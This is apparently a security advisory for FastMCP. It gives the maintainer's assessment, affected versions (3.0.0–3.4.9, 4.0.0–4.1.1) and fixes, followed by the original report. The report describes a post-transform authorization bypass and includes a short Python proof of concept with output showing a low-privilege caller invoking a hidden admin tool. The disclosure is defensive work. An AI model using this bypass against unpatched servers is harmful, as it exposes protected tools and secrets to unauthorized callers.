Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.